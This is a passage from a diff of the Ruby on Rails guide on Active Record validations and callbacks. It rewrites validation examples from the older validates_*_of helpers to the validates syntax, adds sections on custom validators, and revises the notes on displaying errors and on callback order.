database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -82,6 +82,7 @@ The following methods skip validations, and will save the object to the database * +increment!+ * +increment_counter+ * +toggle!+ +* +touch+ * +update_all+ * +update_attribute+ * +update_column+ @@ -93,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -104,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -138,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -159,29 +160,29 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers. -h4. +validates_acceptance_of+ +h4. +acceptance+ Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). <ruby> class Person < ActiveRecord::Base - validates_acceptance_of :terms_of_service + validates :terms_of_service, :acceptance => true end </ruby> -The default error message for +validates_acceptance_of+ is "_must be accepted_". +The default error message for this helper is "_must be accepted_". -+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this. +It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed. <ruby> class Person < ActiveRecord::Base - validates_acceptance_of :terms_of_service, :accept => 'yes' + validates :terms_of_service, :acceptance => { :accept => 'yes' } end </ruby> @@ -202,13 +203,13 @@ CAUTION: Don't use +validates_associated+ on both ends of your associations. The The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model. -h4. +validates_confirmation_of+ +h4. +confirmation+ You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. <ruby> class Person < ActiveRecord::Base - validates_confirmation_of :email + validates :email, :confirmation => true end </ruby> @@ -219,70 +220,70 @@ In your view template you could use something like <%= text_field :person, :email_confirmation %> </erb> -This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): +This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide): <ruby> class Person < ActiveRecord::Base - validates_confirmation_of :email - validates_presence_of :email_confirmation + validates :email, :confirmation => true + validates :email_confirmation, :presence => true end </ruby> -The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_". +The default error message for this helper is "_doesn't match confirmation_". -h4. +validates_exclusion_of+ +h4. +exclusion+ This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. <ruby> class Account < ActiveRecord::Base - validates_exclusion_of :subdomain, :in => %w(www us ca jp), - :message => "Subdomain %{value} is reserved." + validates :subdomain, :exclusion => { :in => %w(www us ca jp), + :message => "Subdomain %{value} is reserved." } end </ruby> -The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. +The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. -The default error message for +validates_exclusion_of+ is "_is reserved_". +The default error message is "_is reserved_". -h4. +validates_format_of+ +h4. +format+ This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option. <ruby> class Product < ActiveRecord::Base - validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/, - :message => "Only letters allowed" + validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/, + :message => "Only letters allowed" } end </ruby> -The default error message for +validates_format_of+ is "_is invalid_". +The default error message is "_is invalid_". -h4. +validates_inclusion_of+ +h4. +inclusion+ This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. <ruby> class Coffee < ActiveRecord::Base - validates_inclusion_of :size, :in => %w(small medium large), - :message => "%{value} is not a valid size" + validates :size, :inclusion => { :in => %w(small medium large), + :message => "%{value} is not a valid size" } end </ruby> -The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. +The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. -The default error message for +validates_inclusion_of+ is "_is not included in the list_". +The default error message for this helper is "_is not included in the list_". -h4. +validates_length_of+ +h4. +length+ This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: <ruby> class Person < ActiveRecord::Base - validates_length_of :name, :minimum => 2 - validates_length_of :bio, :maximum => 500 - validates_length_of :password, :in => 6..20 - validates_length_of :registration_number, :is => 6 + validates :name, :length => { :minimum => 2 } + validates :bio, :length => { :maximum => 500 } + validates :password, :length => { :in => 6..20 } + validates :registration_number, :length => { :is => 6 } end </ruby> @@ -297,8 +298,8 @@ The default error messages depend on the type of length validation being perform <ruby> class Person < ActiveRecord::Base - validates_length_of :bio, :maximum => 1000, - :too_long => "%{count} characters is the maximum allowed" + validates :bio, :length => { :maximum => 1000, + :too_long => "%{count} characters is the maximum allowed" } end </ruby> @@ -306,27 +307,28 @@ This helper counts characters by default, but you can split the value in a diffe <ruby> class Essay < ActiveRecord::Base - validates_length_of :content, + validates :content, :length => { :minimum => 300, :maximum => 400, :tokenizer => lambda { |str| str.scan(/\w+/) }, :too_short => "must have at least %{count} words", :too_long => "must have at most %{count} words" + } end </ruby> -Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +validates_presence_of+ prior to +validates_length_of+. +Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+. -The +validates_size_of+ helper is an alias for +validates_length_of+. +The +size+ helper is an alias for +length+. -h4. +validates_numericality_of+ +h4. +numericality+ This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true. If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -335,12 +337,12 @@ WARNING. Note that the regular expression above allows a trailing newline charac <ruby> class Player < ActiveRecord::Base - validates_numericality_of :points - validates_numericality_of :games_played, :only_integer => true + validates :points, :numericality => true + validates :games_played, :numericality => { :only_integer => true } end </ruby> -Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values: +Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values: * +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_". * +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_". @@ -350,9 +352,9 @@ Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the * +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". * +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". -The default error message for +validates_numericality_of+ is "_is not a number_". +The default error message is "_is not a number_". -h4. +validates_presence_of+ +h4. +presence+ This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace. @@ -367,21 +369,21 @@ If you want to be sure that an association is present, you'll need to test wheth <ruby> class LineItem < ActiveRecord::Base belongs_to :order - validates_presence_of :order_id + validates :order_id, :presence => true end </ruby> -Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. +Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>. -The default error message for +validates_presence_of+ is "_can't be empty_". +The default error message is "_can't be empty_". -h4. +validates_uniqueness_of+ +h4. +uniqueness+ This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database. <ruby> class Account < ActiveRecord::Base - validates_uniqueness_of :email + validates :email, :uniqueness => true end </ruby> @@ -391,8 +393,8 @@ There is a +:scope+ option that you can use to specify other attributes that are <ruby> class Holiday < ActiveRecord::Base - validates_uniqueness_of :name, :scope => :year, - :message => "should happen once per year" + validates :name, :uniqueness => { :scope => :year, + :message => "should happen once per year" } end </ruby> @@ -400,13 +402,13 @@ There is also a +:case_sensitive+ option that you can use to define whether the <ruby> class Person < ActiveRecord::Base - validates_uniqueness_of :name, :case_sensitive => false + validates :name, :uniqueness => { :case_sensitive => false } end </ruby> WARNING. Note that some databases are configured to perform case-insensitive searches anyway. -The default error message for +validates_uniqueness_of+ is "_has already been taken_". +The default error message is "_has already been taken_". h4. +validates_with+ @@ -426,9 +428,11 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. -To implement the validate method, you must have an +record+ parameter defined, which is the record to be validated. +To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+: @@ -452,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -470,8 +474,8 @@ The +:allow_nil+ option skips the validation when the value being validated is + <ruby> class Coffee < ActiveRecord::Base - validates_inclusion_of :size, :in => %w(small medium large), - :message => "%{value} is not a valid size", :allow_nil => true + validates :size, :inclusion => { :in => %w(small medium large), + :message => "%{value} is not a valid size" }, :allow_nil => true end </ruby> @@ -483,10 +487,10 @@ The +:allow_blank+ option is similar to the +:allow_nil+ option. This option wil <ruby> class Topic < ActiveRecord::Base - validates_length_of :title, :is => 5, :allow_blank => true + validates :title, :length => { :is => 5 }, :allow_blank => true end -Topic.create("title" => "").valid? # => true +Topic.create("title" => "").valid? # => true Topic.create("title" => nil).valid? # => true </ruby> @@ -503,10 +507,10 @@ The +:on+ option lets you specify when the validation should happen. The default <ruby> class Person < ActiveRecord::Base # it will be possible to update email with a duplicated value - validates_uniqueness_of :email, :on => :create + validates :email, :uniqueness => true, :on => :create # it will be possible to create the record with a non-numerical age - validates_numericality_of :age, :on => :update + validates :age, :numericality => true, :on => :update # the default (validates on both create and update) validates :name, :presence => true, :on => :save @@ -523,7 +527,7 @@ You can associate the +:if+ and +:unless+ options with a symbol corresponding to <ruby> class Order < ActiveRecord::Base - validates_presence_of :card_number, :if => :paid_with_card? + validates :card_number, :presence => true, :if => :paid_with_card? def paid_with_card? payment_type == "card" @@ -537,7 +541,7 @@ You can also use a string that will be evaluated using +eval+ and needs to conta <ruby> class Person < ActiveRecord::Base - validates_presence_of :surname, :if => "name.nil?" + validates :surname, :presence => true, :if => "name.nil?" end </ruby> @@ -547,7 +551,7 @@ Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object whi <ruby> class Account < ActiveRecord::Base - validates_confirmation_of :password, + validates :password, :confirmation => true, :unless => Proc.new { |a| a.password.blank? } end </ruby> @@ -559,19 +563,58 @@ Sometimes it is useful to have multiple validations use one condition, it can be <ruby> class User < ActiveRecord::Base with_options :if => :is_admin? do |admin| - admin.validates_length_of :password, :minimum => 10 - admin.validates_presence_of :email + admin.validates :password, :length => { :minimum => 10 } + admin.validates :email, :presence => true end end </ruby> All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+ -h3. Creating Custom Validation Methods +h3. Performing Custom Validations + +When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer. + +h4. Custom Validators + +Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method. + +<ruby> +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +</ruby> + +The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance. + +<ruby> +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ActiveRecord::Base + validates :email, :presence => true, :email => true +end +</ruby> + +As shown in the example, you can also combine standard validations with your own custom validators. -When the built-in validation helpers are not enough for your needs, you can write your own validation methods. +h4. Custom Methods -Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. +You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered. @@ -581,13 +624,15 @@ class Invoice < ActiveRecord::Base :discount_cannot_be_greater_than_total_value def expiration_date_cannot_be_in_the_past - errors.add(:expiration_date, "can't be in the past") if - !expiration_date.blank? and expiration_date < Date.today + if !expiration_date.blank? and expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end end def discount_cannot_be_greater_than_total_value - errors.add(:discount, "can't be greater than total value") if - discount > total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end end end </ruby> @@ -597,7 +642,7 @@ You can even create your own validation helpers and reuse them in several differ <ruby> ActiveRecord::Base.class_eval do def self.validates_as_choice(attr_name, n, options={}) - validates_inclusion_of attr_name, {:in => 1..n}.merge(options) + validates attr_name, :inclusion => { {:in => 1..n}.merge(options) } end end </ruby> @@ -618,12 +663,11 @@ The following is a list of the most commonly used methods. Please refer to the + h4(#working_with_validation_errors-errors). +errors+ -Returns an OrderedHash with all errors. Each key is the attribute name and the value is an array of strings with all errors. +Returns an instance of the class +ActiveModel::Errors+ (which behaves like an ordered hash) containing all errors. Each key is the attribute name and the value is an array of strings with all errors. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new @@ -642,8 +686,7 @@ h4(#working_with_validation_errors-errors-2). +errors[]+ <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new(:name => "John Doe") @@ -700,7 +743,7 @@ Another way to do this is using +[]=+ setter h4. +errors[:base]+ -You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to the array and uses it as the error message. +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message. <ruby> class Person < ActiveRecord::Base @@ -710,16 +753,13 @@ class Person < ActiveRecord::Base end </ruby> - - h4. +errors.clear+ The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new @@ -742,14 +782,12 @@ The +size+ method returns the total number of error messages for the object. <ruby> class Person < ActiveRecord::Base - validates :name, :presence => true - validates_length_of :name, :minimum => 3 - validates_presence_of :email + validates :name, :presence => true, :length => { :minimum => 3 } end person = Person.new person.valid? # => false -person.errors.size # => 3 +person.errors.size # => 2 person = Person.new(:name => "Andrea", :email => "andrea@example.com") person.valid? # => true @@ -758,20 +796,23 @@ person.errors.size # => 0 h3. Displaying Validation Errors in the View -Rails maintains an official plugin that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. +Rails maintains an official plugin, DynamicForm, that provides helpers to display the error messages of your models in your view templates. You can install it as a plugin or as a Gem. h4. Installing as a plugin + <shell> $ rails plugin install git://github.com/joelmoss/dynamic_form.git </shell> -h4 Installing as a Gem -Add this line on your Gemfile: +h4. Installing as a Gem + +Add this line in your Gemfile: + <ruby> gem "dynamic_form" </ruby> -Now you will have access to these two methods in your view templates: +Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates. h4. +error_messages+ and +error_messages_for+ @@ -779,8 +820,8 @@ When creating a form with the +form_for+ helper, you can use the +error_messages <ruby> class Product < ActiveRecord::Base - validates_presence_of :description, :value - validates_numericality_of :value, :allow_nil => true + validates :description, :value, :presence => true + validates :value, :numericality => true, :allow_nil => true end </ruby> @@ -801,11 +842,13 @@ end <% end %> </erb> -To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default: +If you submit the form with empty fields, the result will be similar to the one shown below: !images/error_messages.png(Error messages)! -You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result. +NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css. + +You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result. <erb> <%= error_messages_for :product %> @@ -813,7 +856,7 @@ You can also use the +error_messages_for+ helper to display the error messages o The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself. -Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header. +Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example, <erb> <%= f.error_messages :header_message => "Invalid product!", @@ -821,23 +864,23 @@ Both the +form.error_messages+ and the +error_messages_for+ helpers accept optio :header_tag => :h3 %> </erb> -Which results in the following content: +results in: !images/customized_error_messages.png(Customized error messages)! -If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+. +If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded. -h4. Customizing the Error Messages CSS +h4(#customizing-error-messages-css). Customizing the Error Messages CSS -The selectors to customize the style of error messages are: +The selectors used to customize the style of error messages are: * +.field_with_errors+ - Style for the form fields and labels with errors. -* +#errorExplanation+ - Style for the +div+ element with the error messages. -* +#errorExplanation h2+ - Style for the header of the +div+ element. -* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element. -* +#errorExplanation ul li+ - Style for the list items with individual error messages. +* +#error_explanation+ - Style for the +div+ element with the error messages. +* +#error_explanation h2+ - Style for the header of the +div+ element. +* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element. +* +#error_explanation ul li+ - Style for the list items with individual error messages. -Scaffolding for example generates +app/assets/stylesheets/scaffold.css.scss+, which later compiles to +app/assets/stylesheets/scaffold.css+ and defines the red-based style you saw above. +If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above. The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers. @@ -850,7 +893,7 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel * A string with the HTML tag * An instance of +ActionView::Helpers::InstanceTag+. -Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. +Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want. <ruby> ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| @@ -864,21 +907,21 @@ ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| end </ruby> -This will result in something like the following: +The result looks like the following: !images/validation_error_messages.png(Validation error messages)! h3. Callbacks Overview -Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. +Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database. h4. Callback Registration -In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks. +In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks: <ruby> class User < ActiveRecord::Base - validates_presence_of :login, :email + validates :login, :email, :presence => true before_validation :ensure_login_has_a_value @@ -891,11 +934,11 @@ class User < ActiveRecord::Base end </ruby> -The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line. +The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line: <ruby> class User < ActiveRecord::Base - validates_presence_of :login, :email + validates :login, :email, :presence => true before_create do |user| user.name = user.login.capitalize if user.name.blank? @@ -903,7 +946,7 @@ class User < ActiveRecord::Base end </ruby> -It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. +It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation. h3. Available Callbacks @@ -914,20 +957,20 @@ h4. Creating an Object * +before_validation+ * +after_validation+ * +before_save+ -* +after_save+ * +before_create+ * +around_create+ * +after_create+ +* +after_save+ h4. Updating an Object * +before_validation+ * +after_validation+ * +before_save+ -* +after_save+ * +before_update+ * +around_update+ * +after_update+ +* +after_save+ h4. Destroying an Object @@ -943,7 +986,7 @@ The +after_initialize+ callback will be called whenever an Active Record object The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined. -The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries. +The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and they are registered simply by defining them as regular methods with predefined names. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behavior is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, which would otherwise significantly slow down the queries. <ruby> class User < ActiveRecord::Base @@ -1000,7 +1043,7 @@ The +after_initialize+ callback is triggered every time a new object of the clas h3. Skipping Callbacks -Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. * +decrement+ * +decrement_counter+ @@ -1010,6 +1053,7 @@ Just as with validations, it's also possible to skip callbacks. These methods sh * +increment+ * +increment_counter+ * +toggle+ +* +touch+ * +update_column+ * +update_all+ * +update_counters+ @@ -1018,13 +1062,13 @@ h3. Halting Execution As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. -The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. +The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. h3. Relational Callbacks -Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. +Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model: <ruby> class User < ActiveRecord::Base @@ -1050,11 +1094,11 @@ Post destroyed h3. Conditional Callbacks -Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option. +As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option. -h4. Using +:if+ and +:unless+ with a Symbol +h4. Using +:if+ and +:unless+ with a +Symbol+ -You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the method returns false; when using the +:unless+ option, the callback won't be executed if the method returns true. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed. +You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a 